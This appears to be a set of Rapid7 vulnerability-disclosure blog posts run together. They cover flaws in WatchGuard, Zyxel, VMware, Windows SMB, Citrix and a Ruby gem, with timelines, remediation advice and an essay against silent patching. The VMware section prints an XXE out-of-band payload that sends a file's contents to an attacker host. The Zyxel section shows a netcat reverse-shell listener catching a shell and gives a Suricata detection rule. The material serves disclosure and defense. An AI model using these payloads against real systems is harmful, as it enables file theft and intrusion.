For the record, there was no intention to bury this vulnerability — after all, we communicated it to the Tomita (the maintainer), RubyGems (who pointed us in the direction of Rubysec, thanks André), CERT/CC, and JPCERT/CC, so hopefully the intention to disclose in a timely manner was and is obvious.
But a confluence of family tragedies and home-office technical disasters conspired with the usual complications of a multi-stakeholder, multi-continent effort to coordinate disclosure in open-source library code.
I am also acutely aware of the irony of this delay in light of my recent post on silent patches, and I offer apologies for that delay. I am committed to being better with backups, both of the data and human varieties.
Note that all dates are local to the United States (some dates may differ in Japan and Germany depending on the time of day).
August, 2021: Issue discovered by Hans-Martin Münch of MOGWAI LABS GmbH.
Thu, Sep 2, 2021: Issue reported to Rapid7’s security contact as a Metasploit issue, #9286.
Tue, Sep 7, 2021: Rapid7 validated the issue, reserved CVE-2021-3779, and contacted the vulnerable gem maintainer, Tomita Masahiro.
Tue, Sep 8, 2021: Notified CERT/CC and RubyGems for disclosure coordination, as the gem appeared to be abandoned by the maintainer given no updates in several years.
Tue, Sep 9, 2021: Notified JPCERT/CC through VINCE on CERT/CC’s advice, as VU#541053.
Thu, Sep 10, 2021: JPCERT/CC acknowledged the issue and attempted to contact the gem maintainer.
Mon, Oct 18, 2021: Maintainer responded to JPCERT/CC, acknowledging the issue.
Fri, Oct 22, 2021: Fixed version 2.10.0 released, Rapid7 notified Hans-Martin of the fix.
Wed, Feb 16, 2022: CERT/CC asks for an update on the issue, Rapid7 communicates the fix to CERT/CC and JPCERT/CC.
Tue, Jun 6, 2022: CERT/CC asks for an update, Rapid7 commits to sharing disclosure documentation.
Tue, Jun 14, 2022: Rapid7 shares disclosure details with CERT/CC and Hans-Martin, and asks JPCERT/CC to communicate this document to Tomita.
Tue, June 28, 2022: This public disclosure
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
A remote and low-privileged WatchGuard Firebox or XTM user can read arbitrary system files when using the SSH interface due to an argument injection vulnerability affecting the diagnose command. Additionally, a remote and highly privileged user can write arbitrary system files when using the SSH interface due to an argument injection affecting the import pac command. Rapid7 reported these issues to WatchGuard, and the vulnerabilities were assigned CVE-2022-31749. On June 23, Watchguard published an advisory and released patches in Fireware OS 12.8.1, 12.5.10, and 12.1.4.
Background
WatchGuard Firebox and XTM appliances are firewall and VPN solutions ranging in form factor from tabletop, rack mounted, virtualized, and “rugged” ICS designs. The appliances share a common underlying operating system named Fireware OS.
At the time of writing, there are more than 25,000 WatchGuard appliances with their HTTP interface discoverable on Shodan. There are more than 9,000 WatchGuard appliances exposing their SSH interface.
In February 2022, GreyNoise and CISA published details of WatchGuard appliances vulnerable to CVE-2022-26318 being exploited in the wild. Rapid7 discovered CVE-2022-31749 while analyzing the WatchGuard XTM appliance for the writeup of CVE-2022-26318 on AttackerKB.
CVE-2022-31749 is an argument injection into the ftpput and ftpget commands. The arguments are injected when the SSH CLI prompts the attacker for a username and password when using the diagnose or import pac commands. For example:
WG>diagnose to ftp://test/test
Name: username
Password:
The “Name” and “Password” values are not sanitized before they are combined into the “ftpput” and “ftpget” commands and executed via librmisvc.so. Execution occurs using execle, so command injection isn’t possible, but argument injection is. Using this injection, an attacker can upload and download arbitrary files.
File writing turns out to be less useful than an attacker would hope. The problem, from an attacker point of view, is that WatchGuard has locked down much of the file system, and the user can only modify a few directories: /tmp/, /pending/, and /var/run. At the time of writing, we don’t see a way to escalate the file write into code execution, though we wouldn’t rule it out as a possibility.
The low-privileged user file read is interesting because WatchGuard has a built-in low-privileged user named status. This user is intended to “read-only” access to the system. In fact, historically speaking, the default password for this user was “readonly”. Using CVE-2022-31749 this low-privileged user can exfiltrate the configd-hash.xml file, which contains user password hashes when Firebox-DB is in use. Example:
The hashes are just unsalted MD4 hashes. @funoveripwrote about cracking these weak hashes using Hashcat all the way back in 2013.
Exploitation
Rapid7 has published a proof of concept that exfiltrates the configd-hash.xml file via the diagnose command. The following video demonstrates its use against WatchGuard XTMv 12.1.3 Update 8.
Remediation
Apply the WatchGuard Fireware updates. If possible, remove internet access to the appliance’s SSH interface. Out of an abundance of caution, changing passwords after updating is a good idea.
Vendor statement
WatchGuard thanks Rapid7 for their quick vulnerability report and willingness to work through a responsible disclosure process to protect our customers. We always appreciate working with external researchers to identify and resolve vulnerabilities in our products and we take all reports seriously. We have issued a resolution for this vulnerability, as well as several internally discovered issues, and advise our customers to upgrade their Firebox and XTM products as quickly as possible. Additionally, we recommend all administrators follow our published best practices for secure remote management access to their Firebox and XTM devices.
Disclosure timeline
March, 2022: Discovered by Jake Baines of Rapid7 Mar 29, 2022: Reported to Watchguard via support phone, issue assigned case number 01676704. Mar 29, 2022: Watchguard acknowledged follow-up email. April 20, 2022: Rapid7 followed up, asking for progress. April 21, 2022: WatchGuard acknowledged again they were researching the issue. May 26, 2022: Rapid7 checked in on status of the issue. May 26, 2022: WatchGuard indicates patches should be released in June, and asks about CVE assignment. May 26, 2022: Rapid7 assigns CVE-2022-31749 June 23, 2022: This disclosure
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On Monday, June 14, 2022, Citrix published an advisory on CVE-2022-27511, a critical improper access control vulnerability affecting their Application Delivery Management (ADM) product.
A remote, unauthenticated attacker can leverage CVE-2022-27511 to reset administrator credentials to the default value at the next reboot. This allows the attacker to use SSH and the default administrator credentials to access the affected management console. The vulnerability has been patched in Citrix ADM 13.1-21.53 and ADM 13.0-85.19 and should be applied as soon as possible. Versions of Citrix ADM before 13.0 and 13.1 are end of life, so Citrix will not make patches available for these versions. Users still on version 12.x are encouraged to upgrade to a supported version.
At the time of this writing, no exploitation has been observed, and no exploits have been made publicly available. However, given the nature of the vulnerability and the footprint of Citrix ADM, we anticipate that exploitation will happen as soon as an exploit is made available.
Mitigation guidance
Citrix ADM customers should upgrade their versions of both ADM server and agents as soon as possible. Citrix notes in their advisory that they strongly recommend that network traffic to the Citrix ADM’s IP address be segmented, either physically or logically, from standard network traffic.
Rapid7 customers
We are investigating the feasibility of a vulnerability check for InsightVM and Nexpose customers.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. We believe this vulnerability would be scored as CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H or 7.5. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.
Credit
This issue was fixed by Microsoft without disclosure in April 2022, but because it was originally classed as a mere stability bug fix, it did not go through the usual security issue process. In May, Spencer McIntyre of Rapid7 discovered this issue while researching the fix for CVE-2022-24500 and determined the security implications of CVE-2022-32230. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. The following patch diff shows the function in question for Windows 10 21H2 (unpatched version 10.0.19041.1566 on the left).
This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.
For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is "2.0.2", "2.1" or "3.0.2", the server MUST fail the request with STATUS_NOT_SUPPORTED.
To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.
Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.
A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.
Proof of concept
A proof-of-concept Metasploit module is available on GitHub. It requires Metasploit version 6.2 or later.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition. Given the current state of the art of exploitation, it is assumed that a null pointer dereference in the Windows kernel is not remotely exploitable for the purpose of arbitrary code execution without combining it with another, unrelated vulnerability.
In the default configuration, Windows will automatically restart after a BSOD.
Remediation
It is recommended that system administrators apply the official patches provided by Microsoft in their April 2022 update. If that is not possible, restricting access and disabling SMB version 3 can help remediate this flaw.
Disclosure timeline
April 12th, 2022 – Microsoft patches CVE-2022-32230 April 29th, 2022 – Rapid7 finds and confirms the vulnerability while investigating CVE-2022-24500 May 4th, 2022 – Rapid7 contacts MSRC to clarify confusion regarding CVE-2022-32230 May 18th, 2022 – Microsoft responds to Rapid7, confirming that the vulnerability now identified as CVE-2022-32230 is different from the disclosed vulnerability CVE-2022-24500 with which it was patched June 1, 2022 — Rapid7 reserves CVE-2022-32230 after discussing with Microsoft June 14th, 2022 – Rapid7 releases details in this disclosure, and Microsoft publishes its advisory
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Hey all. I’m about to head off to RSAC 2022, but I wanted to jot down some thoughts I’ve had lately on a particularly squirrelly issue that comes up occasionally in coordinated vulnerability disclosure (CVD) — the issue of silent patches, and how they tend to help focused attackers and harm IT protectors.
In the bad old days, most major software vendors were rather notorious for sweeping vulnerability reports under the rug. They made it difficult for legitimate researchers to report vulnerabilities, often by accident, occasionally on purpose. Researchers would report bugs, and those reports would fester in unobserved space, then suddenly the proof-of-concept exploit wouldn’t work any more. This was (and is) the standard silent patching model. No credit, no explanation, no CVE ID, nothing.
The justification for this approach seems pretty sensible, though. Why would a vendor go out of their way to explain what a security fix does? After all, if you know how the patch works, then you have a pretty good guess at the root cause of the vulnerability and, therefore, how the exploit works. So, by publicizing these patch details, you’re effectively leading attackers to the goods, based on your own documentation. Not cool, right?
So, the natural conclusion is that by limiting the technical details of a given vulnerability to merely the patch contents, and by withholding those details explained in plan languages and proof-of-concept exploit code and screenshots and videos and all the rest, you are limiting the general knowledge pool of people who actually understand the vulnerability and how to exploit it.
Unpacking the silent patch
This sounds like a great plan, but there’s a catch. When a software company releases a patch for software, in nearly all cases, they’re not using exotic packers, they’re not employing anti-forensics, and even if the patch data is encrypted and obfuscated, at some point it’s got to modify the code on the running software — which means that it’s all available to anyone who has a running instance of the patched software and knows how to use a debugger and a disassembler. And who uses debuggers to inspect the effects of patches? Exploit developers, pretty much exclusively.
Knowing this, let’s modify the expectations of the silent patch strategy: When you silently patch, you are intending to limit knowledge of the patched vulnerability to skilled exploit devs.
It’s still true that you’re excluding the casual attacker (or “script kiddie,” in the common parlance), and that’s great and desirable. However, you’re also excluding a huge population of IT protectors: penetration testers who are paid to write and run exploits to test defenses leap to mind, in addition to the folks who write and deploy defensive technologies like vulnerability management, intrusion detection and prevention, incident detection, and all the rest. You also exclude tech journalists, academics, and policy makers who want to understand and communicate the nature of software vulnerabilities, but who aren’t likely to bust out a disassembler.
Most significantly, you’re excluding the most important audience for your patch: the regular IT administrators and managers who need to sort out the incoming flow of patches based on some risk and severity criteria and make the call for downtime and update scheduling based on that criteria. Not all vulnerabilities are equal, and while protectors want to get around to all of them, they need to figure out which ones to apply today and which ones can wait for the next maintenance cycle.
By the way, it’s true that some of these IT professionals also have the capability to reverse-engineer your patch. In practice, people who are only interested in keeping IT humming never, ever reverse patches to see if they’re worth applying. It’s way too complicated and time-consuming. I’ve never seen a case where this is part of the decision-making process to patch now or later.
Don’t leave defenders in the dark
So now, let’s reexamine the case for silent patching yet again: When you silently patch, you are communicating vulnerability details, exclusively, to skilled, criminal attackers who are specifically targeting your product, while leaving your customers in the dark. You are intentionally withholding information from casual attackers, secondary defenders, and your customers and users who are desperate to make informed security engineering decisions involving your product or project. Oh, and let’s not forget, you’re also limiting knowledge about these fixed vulnerabilities from future employees and contributors, who very well might re-introduce the same or similar bugs in your product down the road. After all, the details are secret, even from future-you.
All this is to say, silent patching is tantamount to full disclosure to a very small audience who mostly want to hurt you and your users. Fully documented patches reach the much, much larger audience of people, present and future, who want to help you and your users. While it’s true that you are also offering educational opportunities to casual attackers along the way, I believe the global population of casual attackers is much, much smaller than your legitimate users and all the secondary and tertiary defenders who are on your side.
So, next time a vulnerability researcher states their intention of publishing details about their reported (and now patched) vulnerability, try to examine your urge to keep those details under wraps, and maybe even encourage them to be honest and transparent with their findings. The alternative is to build up the operational capabilities of the true criminal and espionage enterprises while degrading the decision-making power of IT protectors.
On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability is unpatched as of June 2 and is being exploited in the wild.
Affected versions include Confluence Server version 7.18.0. According to Atlassian’s advisory, subsequent testing indicates that versions of Confluence Server and Data Center >= 7.4.0 are potentially vulnerable. There may also be other vulnerable versions not yet tested.
In the absence of a patch, organizations should restrict or disable Confluence Server and Confluence Data Center instances on an emergency basis. They should also consider implementing IP address safelisting rules to restrict access to Confluence.
For those unable to apply safelist IP rules to their Confluence server installations, consider adding WAF protection. Based on the details published so far, which admittedly are sparse, we recommend adding Java Deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. You can find an example here.
Rapid7 customers
We are investigating options for a vulnerability check to allow InsightVM and Nexpose customers to assess their exposure to CVE-2022-26134. We will update this blog as new information becomes available.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
On May 30, 2022, Microsoft Security Response Center (MSRC) published a blog on CVE-2022-30190, an unpatched vulnerability in the Microsoft Support Diagnostic Tool (msdt) in Windows. Microsoft’s advisory on CVE-2022-30190 indicates that exploitation has been detected in the wild.
According to Microsoft, CVE-2022-30190 is a remote code execution vulnerability that exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Workarounds are available in Microsoft’s blog.
Rapid7 research teams are investigating this vulnerability and will post updates to this blog as they are available. Notably, the flaw requires user interaction to exploit, looks similar to many other vulnerabilities that necessitate a user opening an attachment, and appears to leverage a vector described in 2020. Despite the description, it is not a typical remote code execution vulnerability.
Rapid7 customers
Our teams have begun working on a vulnerability check for InsightVM and Nexpose customers.
InsightIDR customers have a new detection rule added to their library to identify attacks related to this vulnerability:
Suspicious Process – Microsoft Office App Spawns MSDT.exe
A low-privileged local attacker can prevent the VMware Guest Authentication service (VGAuthService.exe) from running in a guest Windows environment and can crash this service, thus rendering the guest unstable. In some very contrived circumstances, the attacker can leak file content to which they do not have read access. We believe this would be scored as CVSSv3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H or 6.1 and is an instance of CWE-73: External Control of File Name or Path.
Product description
The VMware Guest Authentication Service (VGAuthService.exe) is part of the VMware Tools suite of software used to provide integration services with other VMware services. It is commonly installed on Windows guest operating systems, though it appears that its only function is to mystify users when it fails.
Once running, the VMware Guest Authentication Service (VGAuthService.exe) is a service running with NT AUTHORITY/SYSTEM permissions and attempts to read files from the non-existent directory C:\Program%20Files\VMware\VMware%20Tools\ during start-up.
A low-privileged user can create this directory structure and cause VGAuthService.exe to read attacker controlled files. The files that the attacker controls are “catalog”, “xmldsig-core-schema.xsd”, and “xenc-schema.xsd”. These files are used to define the XML structure used to communicate with VGAuthService.exe.
However, actually modifying the structure of these files seems to have limited effects on VGAuthService.exe. Below, we describe a denial of service (which could take a number of forms) and a file content leak via XML External Entity.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition, and there is a remote possibility of privileged file content exfiltration.
Denial of service
A low-privileged user can prevent the service from starting by providing a malformed catalog file. For example, creating the file C:\Program%20Files\VMware\VMware%20Tools\etc\catalog with the contents of:
Will simply prevent the service from ever running due to the malformed uri field. The VGAuthService log file in C:\ProgramData\VMware\VMware VGAuth\logfile.txt.0 will contain this line:
[2022-02-01T14:03:50.100Z] [ warning] [VGAuthService] XML Error: uri entry 'uri' broken ?: \\10.0.0.2\fdsa\xenc-schema.xsd
After the “malicious” file is created, the system must be rebooted (or the service restarted). Until this happens, some remote tooling for the VMware guest will not function properly.
File content exfiltration via XML external entity (XXE) attacks, and the limitations thereof
VGAuthService uses XML libraries (libxmlsec and libxml2) that have XML External Entity processing capabilities. Because the attacker controls various XML files parsed by the service, the attacker in theory can execute XXE injection and XXE out-of-band (OOB) attacks to leak files that a low-privileged user can’t read (e.g. C:\windows\win.ini).
It is true that these styles of attacks do work against VGAuthService.exe, but there is a severe limitation. Traditionally, an XXE OOB attack leaks the file of the attackers choosing via an HTTP or FTP uri. For example, “http://attackurl:80/endpoint?FILEDATA” where FILEDATA is the contents of the file. However, the XML library that VGAuthService.exe is using, libxml2, is very strict about properly formatted URI and any space character or newline will cause the exfiltration to fail. For example, let’s say we wanted to perform an XXE OOB attack and leak the contents of C:\Windows\win.ini. I’d create the following file at C:\Program%20Files\VMware\VMware%20Tools\etc\catalog
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.0.0.2/r7.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
And then we’d create the file r7.dtd on 10.0.0.2:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.0.0.2/xxe?%data;'>">
And server the r7.dtd file via a python server on 10.0.0.2:
albinolobster@ubuntu:~/oob$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Once the attack is triggered, VGAuthService.exe will make quite a few HTTP requests to the attackers HTTP server:
But notice that none of those HTTP requests contain the contents of win.ini. To see why, let’s take a look at VGAuthService’s log file.
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: parser
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: error :
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: Invalid URI: http:///10.0.0.2/xxe?; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Here, we can see the contents of win.ini have been appended to http://10.0.0.2/xxe? and that has caused the XML library to error out due to an invalid URI. So we can’t leak win.ini over the network, but we were able to write it to VGAuthService’s log. Unfortunately (or fortunately, for defenders), the log file is only readable by administrative users, so leaking the contents of win.ini to the log file is no good for an attack.
An attacker can leak a file as long as it can be used to form a valid URI. I can think of one very specific case where ManageEngine has a “user” saved to file as “0:verylongpassword” where this could work. But that’s super specific. Either way, we can recreate this like so:
We then do the same attack as above, but instead of <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> we do <!ENTITY % data SYSTEM "file:///c:/r7.txt">
After executing the attack, we’ll see this on our HTTP server:
While this is technically a low-privileged user leaking a file, it is quite contrived, and honestly an unlikely scenario.
Another common XXE attack is leaking NTLM hashes, but libxml2 doesn’t honor UNC paths so that isn’t a possibility. So, in conclusion, the low-privileged attacker can only deny access to the service and, very occasionally, leak privileged files.
Remediation
VMware administrators who expect low-privileged, untrusted users to interact directly with the guest operating system should apply the patch at their convenience to avoid the denial-of-service condition. As stated above, the likelihood of anyone exploiting this vulnerability to exfiltrate secrets from the guest operating system is quite low, but if those circumstances apply to your environment, more urgency in patching is warranted.
In the absence of a patch, VMware administrators can create the missing directory with write permissions limited to administrators, and this should mitigate the issue entirely.
Disclosure timeline
February, 2022: Issue discovered by Jake Baines of Rapid7
On May 18, 2022, VMware published VMSA-2022-0014 on CVE-2022-22972 and CVE-2022-22973. The more severe of the two vulnerabilities is CVE-2022-22972, a critical authentication bypass affecting VMware’s Workspace ONE Access, Identity Manager, and vRealize Automation solutions. The vulnerability allows attackers with network access to the UI to obtain administrative access without the need to authenticate. CVE-2022-22972 may be chained with CVE-2022-22973 to bypass authentication and obtain root access. A full list of affected products is available in VMware’s advisory.
At time of writing, there is no public proof of concept for CVE-2022-22972, and there have been no reports of exploitation in the wild. We expect this to change quickly, however, since Rapid7 researchers have seen similar VMware vulnerabilities come under attack quickly in recent weeks. In April 2022, we published details on CVE-2022-22954, a server-side template injection flaw that was widely exploited by threat actors targeting internet-facing VMware Workspace ONE and Identity Manager applications.
In conjunction with VMware’s advisory on May 18, the US Cybersecurity and Infrastructure Agency (CISA) published Emergency Directive 22-03 in response to VMSA-2022-0014. The directive requires all “Federal Civilian Executive Branch” agencies to either apply the patch or remove affected VMware installations from agency networks by May 24, 2022. CISA also released an additional alert emphasizing that threat actors are known to be chaining recent VMware vulnerabilities — CVE-2022-22954 and CVE-2022-22960 — to gain full control of vulnerable systems. CISA’s alert notes that the new vulnerabilities in VMSA-2022-0014 are likely to be exploited in the wild quickly:
Due to the [likely] rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with affected VMware products that are accessible from the internet — that did not immediately apply updates — to assume compromise.
Mitigation guidance
VMware customers should patch their Workspace ONE Access, Identity Manager, and vRealize Automation installations immediately, without waiting for a regular patch cycle to occur. VMware has instructions here on patching and applying workarounds.
Additionally, if your installation is internet-facing, consider taking steps to remove direct access from the internet. It may also be prudent to follow CISA’s guidance on post-exploitation detection methods found in Alert (AA22-138B).
Rapid7 customers
InsightVM and Nexpose customers can assess their VMware Workspace ONE Access and Identity Manager systems’ exposure to CVE-2022-22972 and CVE-2022-22973 with authenticated vulnerability checks for Unix-like systems available in the May 19, 2022 content release. (Note that VMware Workspace ONE Access is only able to be deployed on Linux from 20.x onward.) Additional vulnerability coverage will be evaluated as the need arises.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.
The following table contains the affected models and firmware versions.
Affected Model
Affected Firmware Version
USG FLEX 100, 100W, 200, 500, 700
ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN
ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800
ZLD5.10 thru ZLD5.21 Patch 1
The VPN series, which also supports ZTP, is not vulnerable because it does not support the required functionality.
Product description
The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, and email security, and advertise up to 5 Gbps throughput through the firewall.
The affected models are relatively popular, with more than 15,000 visible on Shodan.
The affected models are vulnerable to unauthenticated and remote command injection via the administrative HTTP interface. Commands are executed as the nobody user. This vulnerability is exploited through the /ztp/cgi-bin/handler URI and is the result of passing unsanitized attacker input into the os.system method in lib_wan_settings.py. The vulnerable functionality is invoked in association with the setWanPortSt command. An attacker can inject arbitrary commands into the mtu or the data parameter. Below is an example curl that will cause the firewall to execute ping 192.168.1.220:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 192.168.1.1 37882
bash: cannot set terminal process group (11037): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Bash-5.1
Metasploit module
A Metasploit module has been developed for these vulnerabilities. The module can be used to establish a nobody Meterpreter session. The following video demonstrates exploitation:
We’ve shared a PCAP that captures Metasploit’s exploitation of a Zyxel USG FLEX 100. The PCAP can be found attached to the module’s pull request. The Metasploit module injects commands in the mtu field, and as such, the following Suricata rule should flag its use:
alert http any any -> any any ( \
msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \
flow:to_server; \
http.method; content:"POST"; \
http.uri; content:"/ztp/cgi-bin/handler"; \
http.request_body; content:"setWanPortSt"; \
http.request_body; content:"mtu"; \
http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i";
classtype:misc-attack; \
sid:221270;)
Apply the vendor patch as soon as possible. If possible, enable automatic firmware updates. Disable WAN access to the administrative web interface of the system.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2022-30525 with a remote vulnerability check.
Disclosure timeline
Astute readers will notice this timeline is a little atypical for Rapid7 disclosures. In accordance with our 60-day disclosure policy, we suggested a coordinated disclosure date in June. Instead, Zyxel released patches to address this issue on April 28, 2022. At that time, Zyxel did not publish an associated CVE or security advisory. On May 9, Rapid7 independently discovered Zyxel’s uncoordinated disclosure. The vendor then reserved CVE-2022-30525.
This patch release is tantamount to releasing details of the vulnerabilities, since attackers and researchers can trivially reverse the patch to learn precise exploitation details, while defenders rarely bother to do this. Therefore, we’re releasing this disclosure early in order to assist defenders in detecting exploitation and to help them decide when to apply this fix in their own environments, according to their own risk tolerances. In other words, silent vulnerability patching tends to only help active attackers, and leaves defenders in the dark about the true risk of newly discovered issues.
April 2022 – Discovered by Jake Baines April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 21, 2022. April 14, 2022 – Zyxel acknowledges receipt. April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”. April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities. April 28, 2022 – Zyxel releases patches without coordination with vulnerability reporter. April 29, 2022 – Zyxel indicates patch is likely to release before June 14, 2022. May 9, 2022 – Rapid7 realizes Zyxel already issued patches. Rapid7 asks Zyxel for a response on the silent patches and indicates that our team will publicly disclose the week of May 9, 2022. May 10, 2022 – Zyxel reserves CVE-2022-30525 and proposes a new disclosure schedule. May 12, 2022 – This disclosure bulletin and Metasploit module published.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
By continuing to use the site, you agree to the use of cookies. more information
The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.
